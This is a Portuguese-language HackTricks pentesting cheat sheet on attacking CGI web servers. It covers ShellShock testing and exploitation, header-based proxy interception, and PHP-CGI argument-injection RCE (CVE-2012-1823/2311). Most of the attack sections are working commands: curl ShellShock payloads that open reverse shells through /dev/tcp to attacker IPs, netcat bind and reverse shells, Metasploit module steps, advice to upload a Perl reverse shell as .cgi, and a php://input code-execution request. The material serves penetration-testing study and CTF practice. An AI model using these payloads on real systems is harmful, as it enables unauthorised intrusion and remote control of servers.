hacktricks/network-services-pentesting/pentesting-web/cgi.md

6.9 KiB

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Informação

Os scripts CGI são scripts perl, então, se você comprometeu um servidor que pode executar .cgi scripts, você pode fazer upload de um shell reverso perl `/usr/share/webshells/perl/perl-reverse-shell.pl`, mudar a extensão de .pl para .cgi, dar permissões de execução `chmod +x` e acessar o shell reverso pelo navegador para executá-lo.
Para testar por vuln CGI, é recomendado usar nikto -C all e todos os plugins

ShellShock

ShellShock é uma vulnerabilidade que afeta o amplamente utilizado Bash shell de linha de comando em sistemas operacionais baseados em Unix. Ela ataca a capacidade do Bash de executar comandos passados por aplicativos. A vulnerabilidade reside na manipulação de variáveis de ambiente, que são valores nomeados dinâmicos que impactam como os processos são executados em um computador. Os atacantes podem explorar isso anexando código malicioso a variáveis de ambiente, que é executado ao receber a variável. Isso permite que os atacantes potencialmente comprometam o sistema.

Explorando essa vulnerabilidade, a página pode gerar um erro.

Você pode encontrar essa vulnerabilidade notando que está usando uma versão antiga do Apache e cgi_mod com a pasta cgi ou usando nikto.

Teste

A maioria dos testes é baseada em ecoar algo e esperar que essa string seja retornada na resposta da web. Se você acha que uma página pode ser vulnerável, procure por todas as páginas cgi e teste-as.

Nmap

nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (refletido, cego e fora de banda)

# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Exploit

#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

Proxy (MitM para solicitações do servidor Web)

CGI cria uma variável de ambiente para cada cabeçalho na solicitação http. Por exemplo: "host:web.com" é criado como "HTTP_HOST"="web.com"

Como a variável HTTP_PROXY pode ser usada pelo servidor web. Tente enviar um cabeçalho contendo: "Proxy: <IP_atacante>:<PORTA>" e se o servidor realizar qualquer solicitação durante a sessão. Você poderá capturar cada solicitação feita pelo servidor.

PHP Antigo + CGI = RCE CVE-2012-1823, CVE-2012-2311

Basicamente, se o cgi estiver ativo e o php for "antigo" &lt;5.3.12 / &lt; 5.4.2 você pode executar código. Para explorar essa vulnerabilidade, você precisa acessar algum arquivo PHP do servidor web sem enviar parâmetros especialmente sem enviar o caractere "=". Então, para testar essa vulnerabilidade, você poderia acessar, por exemplo, /index.php?-s note o `-s` e o código fonte da aplicação aparecerá na resposta.

Então, para obter RCE você pode enviar esta consulta especial: /?-d allow_url_include=1 -d auto_prepend_file=php://input e o código PHP a ser executado no corpo da solicitação. Exemplo:

curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

Mais informações sobre a vulnerabilidade e possíveis exploits: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, Exemplo de Writeup de CTF.

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}